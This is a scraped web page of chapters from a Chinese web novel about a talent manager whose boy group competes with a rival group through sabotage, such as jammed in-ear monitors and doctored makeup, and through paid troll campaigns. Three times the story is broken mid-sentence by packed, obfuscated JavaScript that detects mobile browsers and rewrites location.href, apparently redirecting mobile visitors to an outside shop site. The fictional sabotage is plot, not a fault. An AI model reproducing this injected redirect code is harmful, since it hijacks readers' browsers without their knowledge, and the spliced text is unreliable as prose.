l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126350|196094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 加上他面部五官深邃,走到C位时,pose动作是一个扯着唇角的笑,眼神略显凶型,眸中却有玩味挑衅,单手做出瞄准的动作,手指微动开了一枪。 一出场,直播间就炸了不少: 【我喜欢这个!!我愿意!!】 【流鼻血了卧槽,这哥太野了!!】 【就喜欢这种有挑战性的男人!姐妹们不用说了,我必拿下他!】 【内娱就缺这款野豹型爱豆啊啊啊!!】 弹幕和评论宫欢一条条都在认真看,边看边做笔记,她准备后续营销就往网友们喜欢的方向给三人铺路线,她有时边看边点头,像是非常认可某些评论。 ——说得好说得好,她都没想到能把三人往动物方向的形象塑造,这倒是个很好的出圈点。 观众席第一排的最中间位置坐着一个戴着口罩的女孩,偶尔举着荧光棒挥舞,更多时候是举着手机,放大焦距对准舞台上的安声拍摄。 舞台上,安声的视线扫过前排时,会停留一两秒,方便让粉丝拍照。 貌似一切都很顺利,歌曲舞蹈已经进行到了一半,只要再两分钟就能完美结束了。 三人比起刚开始放松不少,逐渐适应舞台节奏,而就在这时,站在C位的萧子重耳边响起一阵尖利刺耳的滋啦滋啦声响,电流的连接不断地刺激着耳膜,发出高频段的鸣叫。 耳返里面的音乐和自己的声音全部消失,变成杂乱的波段,甚至时不时钻进来导演组的串频指令。 他眉头一皱,动作慢了半拍,霎时打破了整个团队的同频动作。 主C一出问题,就会出现非常明显的漏洞。 安声最先注意到萧子重的慢拍,他眼睛瞪大了些,旁边的奚亭云也同样注意到,长时间的默契训练下,三人一眼就知道要做什么。 两人对视一眼,同时往舞台前走了几步,强行盖住萧子重,将他掩在后面时丢了个眼神:你在干嘛! 萧子重也反应过来,顺着两人往后退,作为辅助伴舞,他借着舞蹈动作不经意地指了指耳朵,示意两人。 奚亭云和安声瞬间明白。 耳返出了问题? 他们上台时还检查了一遍,怎么还会出问题?? 但现在实在没时间去纠结原因,三人站位再次恢复成原样,接下来的后半场都不能让萧子重站C位了,两人这么想着。 紧接着,奚亭云耳中也爆出一阵阵高频音波,嘀嘀嘀的杂音刺激着大脑。 再就是安声,他被刺得太阳穴两边的皮肉都往眉心皱起,借着旋转的动作和两位队友对视一眼,三人皆是皱着眉,一副不堪其扰的表情。 这一下都明白了,三人的耳返全部出了故障。 这舞已经跳了一半,有了完美的开场,总不可能中场停止下来——他们所有的只有这短短的10分钟中场时间,一旦失误,这么久以来没日没夜的训练全部白费,宫欢的心血白费,他们的努力白费。 一时间,三人的动作都还勉强跟得上,但肉眼可见地有些误差,迟滞几秒后,安声无声地用手指了指耳返,做出一个摘掉的动作,然后比了个三。 奚亭云和萧子重一眼就懂了,微不可查地点头。 一切交给了安声这位主C位。 安声面朝观众席,额头渗出细密的汗珠,他迎着正面机位走了几步,身后的两位队友也放弃舞蹈动作跟着他齐齐走了两步。 安声在心里默数着数字,他看不见身后的队友是否跟得上他的节奏,也不确定这个办法能不能化险为夷,只能这么做了。 三,二,一。 他掐着秒数捏准了节奏鼓点,在鼓点响起的那一瞬间——抬手,摘掉耳返,朝身后轻轻一丢,身后的两人也无比整齐地做出了同样的一个动作。 激烈劲爆的鼓点与轻描淡写地丢掉耳麦的肆意动作形成了鲜明对比,像是不屑舞台限制一样,一下点燃了观众席的欢呼声,在众多尖叫声中,三人一同跳出歌曲后半段的舞蹈。 临近尾声,宫欢特意设计的蝴蝶特效落幕出现,三人头顶先是落下几只小蝴蝶作为引子,紧接着如星河瀑布般落下大片成群的电子蝴蝶。 一时间舞台上流光溢彩,耀眼至极,三人一同抬手,深深鞠躬,舞台地板缓缓下降,在翩飞的蝴蝶中三人完美落幕。 宫欢还在记着直播间弹幕的反馈数据,完全没注意到舞台上的问题。 听到观众席上轰轰烈烈的掌声,她才回头看了一眼——初舞台,结束了。 宫欢在现场停留了会,等导播将画面切回到主厅的【敢说敢言】场景时,才收起笔记往后台走,脸上是没有任何掩饰的满意,高兴,嘚瑟。 真是完美的一场初舞台啊。 宫欢来到后台,看见三人没有任何形象地瘫坐在地,倚靠着台柱子筋疲力尽时,她喜滋滋地夸赞: “不错啊你们,真是给我长脸,初舞台就这么炸,明天肯定能上热搜吸它一大波粉丝!恭喜各位啊,成功踏出了第一步!” 刚才神经紧绷了那么久,几人都有些疲惫,安声撑起身体说:“欢姐,刚才我们差点就凉了。” 宫欢:“嗯??” 60. 结算场面 砰—— 休息室的门被宫欢一脚踹开。 正在补妆的陈闪闪等人被吓得一个激灵。 还没看清来人是谁,劈头盖脸下来就是一顿骂:“郑羽你们是不是人,说好的公平竞争呢!?一而再再而三地搞我的人,就是欠打欠教训是不是!?” 陈闪闪转过头,发现是谁后脸拉了下来,指着宫欢:“你进门都不敲门的吗?” 宫欢冷哼了声,抬脚又踹了一下门,抱着手臂气势汹汹地怼道:“敲什么,我只对人有礼貌,对不是人的东西一般都这样。” “你骂谁呢!” 陈闪闪气急败坏,抓起桌上的粉底液就想砸向宫欢,宫欢正准备躲过去,郑羽伸手拦住了陈闪闪。 她挑眉,阴阳怪气地拉长音调:“宫大经纪人,我听不懂你在说什么,我们确实在公平竞争啊,你前面的拉踩路透图我都还没说呢。” “你说得着吗?”宫欢反骂,“有本事让我看看你的营销手段,别总是给我玩阴的。” 郑羽耸肩,摊手无辜道:“什么阴的阳的,能取胜就是好的。” 宫欢:“耳返的事情是不是你干的?” 陈闪闪一脸不解:“耳返,什么耳返?” 郑羽瞪了陈闪闪一眼,怕他露底,斜瞥了一眼宫欢:“你说是就是咯,你宫大经纪人我哪敢惹得起啊~” 听郑羽那语气,宫欢只觉得心口一阵哽塞,她看见郑羽的长美甲在皮包上磨,怕郑羽挠自己,想了想还是没敢冲过去,只是放了句狠话:“你给我等着!” 然后转头就走了。 休息室里,陈闪闪摸不着头脑,追着问郑羽:“羽姐,她说耳返什么意思,不会是在我们耳返里动手脚了吧!?” “闭嘴吧你,我亲自盯着能出什么事,”郑羽没好气地说,将手里的粉底液放在陈闪闪面前,叮嘱化妆师,“给他把妆补好一点。” “镜头那边我跟导演组说过了,会给你们开美颜滤镜,打光也更多。”郑羽和其他成员说,“气势上绝对不要输给那群野鸡男团,一个个不知道哪儿来的路人,还想飞上枝头变凤凰,真是做梦。” 陈闪闪附和道:“羽姐说的对,他们一点经验都没有,跟我们这些从韩国进修回来的专业练习生肯定还是不一样,我们都有红的资本!姐,您放心,今晚我们一定把面子给您挣回来!” 郑羽:“你有这个心就好,虽然平时我经常骂你们,那也是怕你们火得飘了忘了本,圈里最怕的就是不知道自己几斤几两。” 这时助理跑进休息室,将刚才奚亭云等人的直播录屏拿来给郑羽几人看,顺便附耳到郑羽旁边: “羽姐,我按您说的在舞台下面开了干扰器,但是他们受到的影响......不太大。” “什么意思?” 郑羽打开回放看三人的舞台现场,心里不由得嘀咕:宫欢选人是有点东西的,舞台风格居然也格外别树一帜,样貌好,身材比例也是上等。 光是前半场的舞蹈就足够惊艳,郑羽越看脸绷得越紧,直到三人一起摘下耳返开始,观众席全都沸腾起来,现场氛围居然被带动到了极致。 “草!”郑羽难得地骂了句脏话,手指划着回放试图找到三人的舞台失误,结果直到结束,都堪称完美。 唯一的失误还成了点燃全场氛围的关键亮点!? “这都没把他们压下去,”郑羽放下手机,五官扭曲,低声道,“以后绝对是个祸患,你们的流量估计要被抢走一半!” 陈闪闪在休息室来回踱步,大叫着:“什么!?那怎么办啊,羽姐,就这么几个新人,不过就是长得能看!” 郑羽气冲冲地将手机摔在桌上,恨铁不成钢地看着房间里一群人: “就是因为长相好才把你们压下去啊!一群废物!让你们少喝酒少泡吧多做医美,没一个听的,现在好了,有更年轻帅气的人上来顶位了,你们知道急了!” “姐,我们知道错了,”陈闪闪急忙抓住郑羽的手,急躁地说,“那,那我现在去整——!” “整个屁,整也来不及了!”郑羽甩开陈闪闪的手坐回沙发上,愁得不行,“摊上你们这群不争气的,真是——气死我了,今晚的舞台演出都给我使出全部的招。” “小陈!” 郑羽叫着助理,拿出手机联系娱记,准备造势,“去找各大粉头,唯粉团粉cp粉的粉头全都找来,再找我们常用的水军,让他们都来第二场中场节目捧场,就说有对家男团针对TXT,一直在拉踩我们。” 助理应道:“好,好的羽姐!” “不管怎么样,今晚我都要把场子拉回来。”郑羽看着休息室内转播的电视画面,笃定道。 - 第一轮中场休息过去,导播插入了品牌方的广告视频。 直播间内的弹幕风向完全被X男团吸引了,都在热烈讨论三人是不是新出道的爱豆,之前没有见过等等。 嘉宾们的粉丝评论被暂时压制了下去,一时间全都是在讨论X男团的。 宫欢坐在休息室沙发上打开电脑,和高姐等人通着电话,而助理们那边也接着水军和外包营销的视频通话,一间小小的休息室里面,仿佛已经成了舆论战场。 “上上上啊水军都去给我评论,有多少人上多少人!” 宫欢指挥着电话那边的人,手机开着免提放在桌子上。 她双手在电脑上敲敲打打,激烈奋战,目光紧盯着电脑屏幕上的数据增长情况。 “微博内容都做好了没,马上就是吸粉阶段了,都别给我掉链子!赶紧的!等下郑羽那边就叫人来了,到时候全是群傻逼的场子。” 她语气冲,说话音调高,脸上嫌弃的小表情灵活切换,一个人活演出了一部电视剧。 旁边在化妆台前的三人都看得愣了,互相看了一眼,默默闭嘴不打扰宫欢。 “早就做好了,搜索量增加了很多,”高姐的声音从手机里传出来,“关注粉丝量增加了,词条也多了很多,要不要上热搜?” “不上,郑羽那边肯定会买黑热搜,”宫欢夸张地撇起嘴角,“我还不清楚她那死德行吗。” “那这边怎么处理?”高姐问。 宫欢正准备加把火,忽然想起来一件事:“你家里的事情处理完了吗,要是还没搞定先去忙你自己的事,其他助理帮我就行。” 高姐顿了几秒:“没什么事了。” “行,缺钱缺人你直接说,没事我就不多问了。” 宫欢说完后,盯着电脑屏幕上的超话数据,微博数据和种种相关搜索后台数据,同时眼睛看向休息室内的超清大屏直播的画面。 “快快快,广告快要播完了,粉丝量多少啦!?”宫欢激动不已,仿佛火的是自己。 “十来万左右,搜索量和评论都多了不少,”助理那边说,“欢姐,要不要发他们的后台照片吸引一下热度?” 宫欢这才抬头看了眼坐在一边安静的三人,抬手就用手机相机咔嚓咔嚓随手拍了几张照片,发给助理:“三个人的微博都发,照片我发给你了。” “让水军们晚上都别睡觉,今天还有一场大战呢,”宫欢说着在水军群里发了个红包,“等郑羽买了热搜之后,让他们去里面搅混水,不管真的假的全都给我说成黑的,统一说——TXT男团霸凌新人。” “你跟郑羽又起矛盾了?”高姐那边问,“这么确定晚上有情况。” 宫欢猖狂地笑了两声,翘起腿靠在沙发上,理直气壮地说:“是她先惹我的,我肯定要还回去。” 视频通话同时接着四五个人,其他水军头子那边纷纷传出宫欢那狂妄的笑声,不由得都觉得背后一凉,感觉这姐又要大闹一通了。 这边宫欢手忙脚乱。 旁边三人心有余悸地休息过后,都在庆幸刚才他们的应对迅速,各自之间很快就做出了反应,才没让后半场崩掉,非但如此,还出乎意料地爆了场。 三人开始互相吹捧。 萧子重抽着纸巾擦汗,回想起来就一阵慌:“当时真是太巧了,偏偏就是我在C位,还好你们反应快。” 安声喝了几口矿泉水,谦虚道:“看见你动作慢拍我就觉得出事了,还好耳返出问题的时间点就在歌曲最燃的部分,我当时也是急中生智,想着既然耳返不能用,那就不用了。我们都记得曲子节拍,只要音乐不出问题,按照记忆一直跳完总比乱套的好。” 奚亭云往宫欢那边看了眼,她正拿着手机怼到自己脸面前,瞪着她那圆眼,凶巴巴地不知在跟谁说:“你看我脾气很好吗?敢少我买的流量!?马上去补!” 他咽了咽唾液,也喝了几口水,和队友们搭话:“完整比完美好,能顺利跳下来已经不错了。” “之前郑羽说公平竞争,没想到说一套做一套,真是坏姐姐,”安声吐槽着拿起手机,看见消息后眼睛亮起,站起身往外走,“我去个洗手间啊。” 关上休息室的门,安声来到演播厅外,一个穿着简约,带着黑色口罩的女孩站在门外,看见他时眼睛弯了弯。 安声小跑着靠近她,弯了唇角笑着,声音清亮,眼里带着细碎的光:“你刚才都看到了吗?” 女孩点点头,有些激动:“嗯!真的是非常好看的一场舞台,太好了!终于看到你走上更大的舞台了,我拍了很多照片,都非常出片,晚点就发到超话里面。” “超话?”安声愣了下。 “之前你说签约做艺人之后,我就去搜了一下,找到了超话,”女孩略带紧张,手指揪了揪衣服,“以后如果有更多粉丝喜欢你的话,希望你还会记得我。” 安声微微瞪大眼睛,小小地带了些谴责语气:“你说什么呢,当然会记得你啊,是你在我街边驻唱的时候发现我的,也是你知道我在夜店跳舞却一直没有说,还默默给我送花......” “嘘——”女孩紧张地左右看看,“以后千万不要再提这些了,都是你的黑历史。” “哦哦,那我不说了,”安声很听话,微微低头,认真地看着女孩的眼睛说,“你放心,我一定会抓住机会努力向上,站在更好的舞台上面,不会辜负你的信任和支持。” 他眼眸偏淡褐色,清澈的眸光在眼底流转,看人时诚恳又专注,女孩一下就受不住了,她往后退了两步:“你你别这么近!” 安声乖乖站直了:“好,保持距离感,做好一个爱豆应该做的!” 女孩只觉得脸发烫,她拿出拍立得刚才拍下的照片和笔,伸到安声面前:“那,帮我签个名可以吗?” “当然可以!”安声迫不及待地弯腰拿笔,流畅熟练地在照片上签下了自己的名字。 “现在这个经纪人对你怎么样啊?” 安声将笔还回去,说起宫欢也笑:“欢姐对我很好,她对男团很上心,虽然另外两个队友不太专业,但是他们都很努力,大家都相处的很好。” 女孩珍重地收起签名照,松了口气:“这样我就放心了,总怕你会被宫欢潜规则。” “啊?不不,她不会的,”安声连连摆手解释,“她很厉害的,现在还在房间里做营销工作,而且我觉得她一直都很积极向上,网上那么多负面新闻,她一点都不在意。 安声想着描述词:“感觉,她是一只特别骄傲,不怕输的老虎。” - 广告播放完毕,导播将镜头切回【敢说敢言】的场景。 主持人和嘉宾们继续聊着八卦话题,这期节目来的嘉宾们都有些滑头,面对较为犀利的问题都搞笑打岔地绕过去了,大半场节目过去,几乎没有一个算得上比较爆点的话题。 能上热搜的估计也就陈丰回应绯闻的态度了。 一期综艺直播结束,来到第二轮中场节目。 流量型爱豆的粉丝量比嘉宾们的活跃度高 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126351|196094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 许多,以至于节目中途时,许多粉丝就来直播间热场呐喊,将节目主场嘉宾们的风头压下去不少。 虽说节目以直播形式播出,更多的是一个噱头,主要的播放量还是要拉长时间来看,但直播间内的热度也是一个重要点。 中场休息时,一些嘉宾们看见直播弹幕里全是刷TXT男团的,有些人脸色不太好看,有些则是让经纪公司准备营销,或是找水军将场子找回来。 直播画面再次切换到了3号厅,TXT男团舞台开场。 陈闪闪所在的TXT男团出道3年,成团前团内每个人都在韩国做过几年的练习生,颜值和身高差了点,但业务能力过强—— 郑羽就不信了,他们还能杠不过那群新人。 舞台上,男团成员们的舞姿变换丝滑流畅,以陈闪闪为主C位的团舞,突出的就是一个C位,成员里其他人大多是伴舞,没有多少个人秀场。 郑羽打开微博,刷了会儿热搜词条,看见一两条还不太火的X男团热搜。 #X男团拯救内娱干涸沙漠 #真正的神颜天团在此 郑羽的牙都要咬碎了,这个看脸的世界!!! 她看都不再看舞台,手指不断在手机上发消息给助理:【联系公司的公关,让他们赶紧处理X男团的热搜!一个夸的都不要让我看到!】 助理:【马上马上!】 没上场前,因为X男团的表现爆了直播评论,郑羽就让助理召集了TXT男团的各大粉丝,直播间的弹幕一时间全是TXT男团的内容。 【闪闪好帅啊啊啊啊啊!】 【主C的荣光就是团队的荣耀!】 【为闪闪发痴发狂撞大墙!】 5人的团舞比一般的舞难度更高,随时要换团舞pose,人一多起来站位也就更细,每个人都要注意抢拍或是抢占了机位。 陈闪闪跳到一半时身上开始出汗,他的舞台服是黑色的碎钻深V宽松西服,非常大胆又媚粉的穿搭,出汗时额头和脖颈处都在凝聚汗滴。 跳过几个高难度姿势后,他感觉脸上在产生微妙的变化,想着可能是汗水,也就没有管。 舞台下的郑羽也在忙着公关营销,男团里的成员都各自关注着机位和走位。 于是,没人注意到。 陈闪闪的面部透出一些荧光斑斓绿,一片片如同鳞片般的色块,在额头和下巴处不规则的显现,额头上的汗珠滑落时甚至也被染成了各种颜色,滑落的过程中一直在不断变换。 TXT男团的舞台灯光没有要求过特殊设计,灯光师也就沿用了一贯老土的蓝绿色调的光束。 当光线一束束打在陈闪闪身上时,更显得他像个夜光绿蜥蜴,在舞台上散发着令人刺目的光芒。 直播间弹幕最先发现:【等等——闪闪脸上那是什么啊,怎么绿绿的?】 【打光怎么打的啊,真服了,这些不专业的舞台打光和拍摄机位一个比一个拉】 【卧槽,陈闪闪的脸怎么越来越绿了,还会发光?】 【其他人都没有啊?】 【好丑啊!!】 【有被丑到。】 节目组也发现了问题,有人叫了声埋头公关的郑羽,指着舞台上面:“羽姐,好像不太对劲。” 郑羽正忙着到处摇人,皱着眉抬起头,朝指着的方向看了一眼—— 陈闪闪整张脸散发着荧光炫彩色,红橙黄绿蓝靛紫的色彩与灯光一起在他脸上变色作画,堪称绝妙。 一时间,台下的观众席上人人交头接耳,窃窃私语,指着男团们偷笑。 陈闪闪渐渐发现了问题,他眼皮被刺地发痒,刚开始以为是汗珠,但感觉不太对,脸上没有流动感。 他借着一个舞蹈动作抬手擦了擦额头。 手指摸下了一片五彩斑斓的彩粉,在灯光打过后,还会渐变发光——像是人民币上的防伪条。 陈闪闪愣了。 他停下舞蹈动作,抬头看向舞台下方,所有人的目光都在他身上,他转过身,连男团成员们也都停止了伴舞。 诧异、震惊、暗笑、幸灾乐祸、种种视线将他身上的偶像滤镜剥得一干二净。 直到现在,陈闪闪才发现,他好像跟他们没有什么区别。 台下,郑羽脑子嗡的一声,手机从手中滑落掉在地上,她感到胸口一阵发闷,她死死掐着手心,双眼赤红气得大叫道: “宫欢!!!” - 咔哒—— 休息室的门被反锁上。 宫欢推着沙发挪到门后,将茶几板凳都堆了过去,拍拍手,对自己的杰作表现得很满意。 被迫站着无处坐下的三人:“......” 萧子重张嘴就刺:“您是看不惯这屋想重新装修吗?还是打算玩个瓮中捉自己?” 安声被这架势吓到,弱小可怜的蹲在墙边:“欢姐,能不能先让我们出去了再堵门。” “你们懂什么。”宫欢故作神秘地伸出手指摇了摇,开始倒计时:“三,二,一。” 随着话音落下,门口传来“咣咣咣”的剧烈砸门声,随着砸门而来的还有极其难听的叫骂声: “宫欢,你给老娘死出来!别躲在里面当缩头乌龟,你以为装死我就不知道是你了?给我开门!陈闪闪的脸是不是你干的!那什么狗屁粉底液亏你想得出来,你阴不阴啊!” 砸门的动静之大,连屋内天花板上的墙皮都被震落了一些碎屑。 宫欢指着门口,耸肩歪头,一副无辜的样子:“我就说咯。” 门外叫骂声持续不断。 休息室内,一侧墙壁上的高清大屏正播放到陈闪闪捂着脸匆忙下场。 台下的观众们面面相觑不知所以,直播间弹幕或是看笑话,或是对骂的评论一层层被刷走。 最后一场收尾节目,就在一片哄笑中落幕。 61. 矛盾 宫欢几人是等后半夜才偷偷摸摸地溜出休息室。 宫欢生怕被郑羽逮住打一顿,离开前,她特意发消息问小张——休息室有没有空调管道,地下暗道等等,能不能不为人知地爬走。 得到否认的答案后,又问有没有后门,能让他们不被发现地悄然离开。 大概是小张忙碌着这期节目的收尾工作,到了后半夜才给宫欢发了一个小地图。 电视台的走廊灯都关了,宫欢捧着手机,盯着上面的地图带路。身后三人换下了夸张的舞台妆造,穿上低调却不普通的日常装束。 “哎哟卧槽——”萧子重的头撞上了什么,他抬手抓住看了一眼,是天花板上垂落的装饰物,他丢开这东西,捂着头龇牙咧嘴,“你行不行啊宫欢,找个路都找不到?” 三人都打着手电筒,紧跟宫欢身后,任由她在前面瞎摸索找路。 宫欢放大地图,仔细研究,抽空说:“打着手电筒都撞墙,你先去看看眼睛再来问我行不行吧。” “那不是墙——” “找到了!”安声忽然出声,宫欢正纳闷自己没看到路啊,转过头去,众人看向安声指着的半开的窗户。 奚亭云沉默。 萧子重不敢置信:“这就是,后门!?” 宫欢默默瞄了眼手机上那张地图图片上的方形图案,貌似真就是。 她率先收起手机、撸起袖子翻上窗台,找补似的说了句:“没错,就是这了,特别安全,赶紧离开这。” 几人一个个地翻出窗户,偷偷摸摸猫着腰逃离了电视台园区。 一出园区,四人上了车。 宫欢火速购买时间最近的机票,同时给高姐她们打电话,出个简单方案让外包营销做应对。 宫欢在副驾驶座位指点江山,三人在后排有些不知所措地坐着。 他们都看到了陈闪闪五颜六色的脸,匆匆结束的舞台——从郑羽和宫欢的反应来看,大致猜到这是宫欢干的。 只是不知道现在事情发酵到了哪一步。 奚亭云最先动作,他先是将身体往靠背那移了移,装作看时间似的拿出手机,滑开微博,热搜页面从第一排到最后,10条有8条是节目相关的热搜。 他点开私信页面,手机屏幕的亮度过高,而且车内空间不大,安声眼尖地瞥见奚亭云的私信列表—— 红点多到离谱,每一条消息框都是99+的程度,光是虚晃一眼看到的就有五六排。 “奚哥,”安声没话找话,“你的微博消息好多啊。” 宫欢这会刚好挂断了视频通话,听见这话时,回头看了一眼奚亭云。 他迅速将手机锁屏,装作若无其事地说:“只是微博的推送消息。” 没在意这些,宫欢手指敲了敲手机屏幕:“都去看看热搜,你们猜猜现在是什么个风向?” “陈闪闪的荧光帅脸一览?”萧子重漫不经心地手指翻动着,“还能有什么。” 萧子重很少关注热搜这些流量话题,显然忽略了网民在网络上的敏锐度,在互联网上,一切都会被阴谋论。 安声则是将手机放在□□,边看边念:““陈丰不承认也不否认绯闻”、“TXT男团舞台失误”、“陈闪闪脸型扛得住”、“敢说敢言打光问题”、“陈闪闪脸绿了”、“#X男团拯救内娱干涸沙漠”——这条是夸我们的诶!” 宫欢顿住,乌溜溜的眼珠转了转:“这条别看,所有夸你们的都别看。” “为什么啊?”安声疑惑地问,他已经点进了评论区翻着,“好多图,哇,我有那么好看吗?” 就是怕你们看了太过自信啊,宫欢想,但是男团这么久以来,确实需要一些鼓励,她也就没多说什么。 宫欢将一些内幕说给三人听,以防他们觉得火就是那么简单的事情。 “现在舆论还在炒,事情有点麻烦,”宫欢侧着身体,对后座的三人说,“同期舞台上,陈闪闪出了这事,路人是看乐子的心态,但TXT男团的粉丝们可没那么好糊弄,有些聪明的已经找过来开骂了。” 奚亭云凝神思索。 安声直白地问:“可是,那不就是欢姐做的吗?” 萧子重嗤笑了声,调侃似的用手机朝安声那边比划了下:“宫欢,我也就平时怼怼你,这位可真是想把你送进去。” “闭嘴吧你。” 宫欢瞪他一眼,继续说,“我这边当然是不会认的,但是过不了多久TXT那边应该就会大面积来黑你们。说你们为了上位陷害前辈等等,正面热搜会被降下去,郑羽估计在准备买黑热搜了。” “她不会放过这个反击的机会。” 奚亭云:“那我们要怎么做?” 宫欢:“什么都不做。” “你们在这期间尽量保持低调,不争不抢,该怎么训练怎么训练,其他都交给我,”宫欢说,“我是你们的经纪人,这些风险我会全部帮你们搞定,你们只需要保持好心态,相信我,就足够了。” 宫欢说的如此简单,可有时候,许多艺人都做不到这一点,她觉得还是要把话说的再清楚一点。 “你们的耳返被人做了手脚,这我会在事情闹到很大的时候,着重用这个点来洗白,只是粉丝不多,只能用水军稍微控评一下,一时半会是敌不过TXT男团,但至少能保证你们的清白。” “不要指望我能一下把你们捧起来,”宫欢诚实地说,“你们现在迈出了第一步,就要接受推开门吹来的风险。” 她声音平缓,将利益得失都说的一清二楚,没有弯弯绕绕,甚至听起来似乎很简单,可其实都知道这其中的麻烦程度。 良久,奚亭云低声说:“我们会继续好好训练,随时准备抓住下一次能出现的机会。” 宫欢将身体侧过大半,看向三人,眼里带着笑意:“那就期待我们合作愉快咯。” 和前段时间不同,那时宫欢多是像个领路人——敲打他们,激励他们,而现在她忽然说了合作这个词,对待他们的态度仿佛是将自己的地位降低了许多。 也许,他们现在才拿到了入场券,得到了认可。 - 回到酒店,几人收拾了行李,当晚乘坐飞机回了A市。 临走前,宫欢还惦记着甘惊鸿那边,想走之前再过去看看她。 但甘惊鸿说高姐已经找了两个助理过来,她很好,让宫欢去忙自己的事情——甘惊鸿看到了热搜。 宫欢大为欣慰,觉得甘惊鸿懂事得让人心软。 当然还问了高姐,为什么没有安排10个助理。 高姐说:“你想让她被娱记说是带资进组吗,一个新人带10个助理,谁也没有这个先例。” 宫欢想了想,只好不情不愿地作罢。 在众人回到A市时,新的一天里,热搜与舆论又换了一番。 与宫欢预想中的有些偏差。 宫欢预测了许多种可能性,但或许是太过在意男团和郑羽之间的矛盾,她忘了一件事。 【敢说敢言】节目里的嘉宾们的咖位,比他们这些流量型爱豆都要高出许多,而这次的争锋掩盖了嘉宾们的风头,大佬们自然不愿意被几个小流量明星压下,做出了相应的应对营销。 而大佬们的营销手段,经常多为自己得道,其他人爱死不死的风格为主。 于是几个小时过去,热搜换为: #xxx透露节目拍摄内幕 #陈丰希望大家理智嗑cp #红姓艺人爆料礼服撞衫并非巧合 这些热搜看似普通,但扛不住粉丝量大,一线明星们的粉丝将话题热度捧到最高,战斗力比流量爱豆的粉丝强悍,一度将陈闪闪与X男团的消息压到下面去了。 不仅如此。 微博某一个娱乐大V重看直播回放,在X男团舞台的秀场时,其中一帧极其模糊的画面中,发现了盲点。 一则热搜出现在众人眼中: #X男团是宫欢旗下艺人 #X男团黑红也是红 在两条热搜里面,充斥着大量的负面评论,粉丝属性极其混杂。从各大嘉宾们的粉丝,到节目粉丝,陈闪闪的唯粉,男团团粉等等,齐齐下场,不约而同地将枪口对准了宫欢和X男团。 【怪不得走黑红路线,原来是宫欢的艺人啊,看来人品堪忧】 【别说什么阴谋论了,这还用猜吗,宫欢就是为了捧新人无所不用其极】 【TXT的舞台灯光烂到爆了好吗,反观隔壁X男团,那灯光布景,就是砸了不少钱啊】 【服了,宫欢什么背景啊,前段时间的围炉夜话还有红毯事件刚过几天,就又开始搞对家?】 【太只手遮天了吧,有没有人管管?】 【谁来制裁一下宫欢!?】 【不得不说,宫欢还是有点本事,找的男团成员颜值都不错】 评论里无论是谁家粉丝,都默契地将风向转到宫欢和X男团,其中势头最猛的数TXT粉丝。 阴谋论一出,粉丝们纷纷为陈闪闪叫屈,有些粉丝做了红底的抵制海报,在各种相关热搜帖子的评论里发图片,图片上面写着: 【抵制娱圈宫主】 【要求起诉宫欢与其工作室】 【要求宫欢公开道歉】等。 有些粉丝去到【敢说敢言】的官方微博下方控评,要求节目组严查节目舞台事故,灯光师是否收到贿赂—— 为什么TXT男团和X男团的灯光相差那么远,舞台布景区别那么大。 最开始节目组不想蹚这趟浑水,但扛不住一次次的攻势,一些极端偏激的粉丝找到了各大品牌方,一一举报品牌方的直播间,召集多人下单、退货,造成品牌方损失。 要求品牌方从节目组撤资,不再支持节目。 【敢说敢言】节目组实在迫于压力,只好出了声明: 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126352|196094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >【本节目打光没有任何问题,一切都在按照流程正常进行,所有舞台布景按照方案执行。】 【敢说敢言】节目组牛导演是位眼里揉不得沙子的人,发布声明前,收集了一些人的所有极端言论和威胁手段,送去公安局备案,走法院进行起诉,要求个人赔偿损失,并刑拘计入个人档案,才将一部分极端行为压制下去。 对【敢说敢言】节目组炮轰的风势下降后,更多人将箭头对准了宫欢。 X男团在这波舆论之中竟然吸引了一小波粉丝,不多,只有很少的一部分,在茫茫的粉丝大军中少到几乎看不见。 舞台初演的视频在宫欢的营销下,不断二次剪辑和转发,买营销、通稿,在铺天盖地的造势下,成功吸引了不少黑粉。 三人的微博下骂声永远比夸赞多。 “踩前辈上位”、“毫无底线”、“不配出道”等等的言论层出不穷。 X男团出道即风波不断,仿佛是风暴中心的风暴眼。 互联网上吵得不可开交,一切过去也仅是过了两天。 这几天,宫欢让他们不要看微博,但安声十分在意男团初舞台之后的情况,准备了这么久,怎么可能说不在乎就不在乎。 一看就不得了,安声心焦气躁地来回踱步,语气急冲冲:“那些人怎么能随便揣测我们?我们根本就没做过那些事!” 宫欢:“对,我做的。” “......现在都是在骂我们的,”安声急得厉害,说话也有些怨怼,“我们不能出声明吗?就只能被骂吗?” “声明会出,”宫欢坐在沙发上,过于冷静地看他,“但是你别指望有用,这种事情就是上头的时候所有人都参与了,可一旦解释了,没一个人听,解释多无聊啊,吵架多好玩。” “欢姐!”安声音调略高,平时带着笑和梨涡的脸沉了下来,“你把这些都当成在玩吗,你知道大家准备了多久,一直都在期待着这次机会,大家做了那么多努力,难道现在就只能换来这个结果?” “我不能接受!” 奚亭云和萧子重坐在一边,只是有些沉默,大概安声是年龄最小的一个,不知道这些水有多混。 宫欢抱起手臂,神情略显冷淡疏离,她这样的态度让安声误以为,她从来都只是在利用他们,就像以前踩过的所有坑一样。 